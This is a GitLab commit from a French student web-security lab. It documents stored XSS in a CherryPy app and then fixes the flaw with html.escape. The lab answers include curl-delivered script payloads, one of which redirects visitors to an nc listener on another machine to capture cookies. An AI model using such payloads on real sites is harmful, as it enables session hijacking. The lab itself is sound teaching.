Skip to content
Snippets Groups Projects
Commit cb151419 authored by saoudi's avatar saoudi
Browse files

question 5-6

parent 03d9bb59
No related branches found
No related tags found
No related merge requests found
image.png 0 → 100644
image.png

46 KiB

......@@ -111,13 +111,42 @@ la faille XSS se trouve :
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
```
* Commande curl pour afficher une fenetre de dialog.
```
curl -X POST -d "chaine=<script>alert('hola ceci est une alerte')</script>" http://localhost:8080
```
au moment ou on actualise le site l'alerte s'affiche
* Commande curl pour lire les cookies
dnas une fenetre du terminal on tape:
```
nc -l -p 8081
```
et dan sune autre fenetre on tape:
```
curl -X POST -d "chaine=<script>document.location='http://localhost:8081'</script>" http://localhost:8080
```
et si c'est entre deux machine et non pas le meme :
```
curl 'http://localhost:8080/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'chaine= <script> document.location = "http://<adress ip de la deuxieme machine>:8081" </script> &submit=OK' --compressed
```
## Question 6
Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi.
on importer le module html.
on a jouter la fonction escape et on la ajouter lors de l'input de chaine (insertion des chaines)
quand on reassaye on a plus la vulnérabilité.
![image](image.png)
#!/usr/bin/env python3
import html
import mysql.connector
import cherrypy
import config
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cursor = self.conn.cursor(prepared=True)
if cherrypy.request.method == "POST":
requete = "INSERT INTO chaines (txt,who) VALUES(%s,%s)"
data = (post["chaine"], cherrypy.request.remote.ip)
cursor.execute(requete, data)
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines");
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + html.escape(s) + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp())
File moved
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment